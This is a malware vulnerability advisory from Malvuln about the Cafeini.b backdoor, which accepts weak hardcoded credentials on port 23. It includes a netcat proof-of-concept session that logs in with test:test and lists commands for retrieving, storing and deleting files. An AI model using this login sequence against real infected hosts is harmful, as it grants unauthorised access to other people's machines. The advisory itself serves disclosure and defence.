Backdoor.Win32.Cafeini.b Hardcoded Credential

Discovery / credits: Malvuln - malvuln.com (c) 2022Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.Cafeini.bVulnerability: Weak Hardcoded Credentials Description: The malware listens on TCP port 23. Authentication is required, however the credentials test:test are weak and hardcoded within the PE file.Family: CafeiniType: PE32MD5: 851f8945d1b5923990f4722d627156a0Vuln ID: MVID-2022-0568Disclosure: 04/26/2022Exploit/PoC:C:\>nc64.exe x.x.x.x 23220 CAFEiNi 1.1 FTP serverUSER test331 enter your password (PASS)PASS test230 you're logged in, have a funSYST215 WIN32 L 8 (CAFEiNi 1.1 FTP server)PASV500 unknown command "pasv"HELP214-CAFEiNi 1.1 FTP server supported commands: ABOR CDUP CWD DELE HELP LIST MKD  MODE NOOP PASS PWD  QUIT RETR RMD RNFR RNTO STOR SYST TYPE USER214 and you don't need more commands, I thinkDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).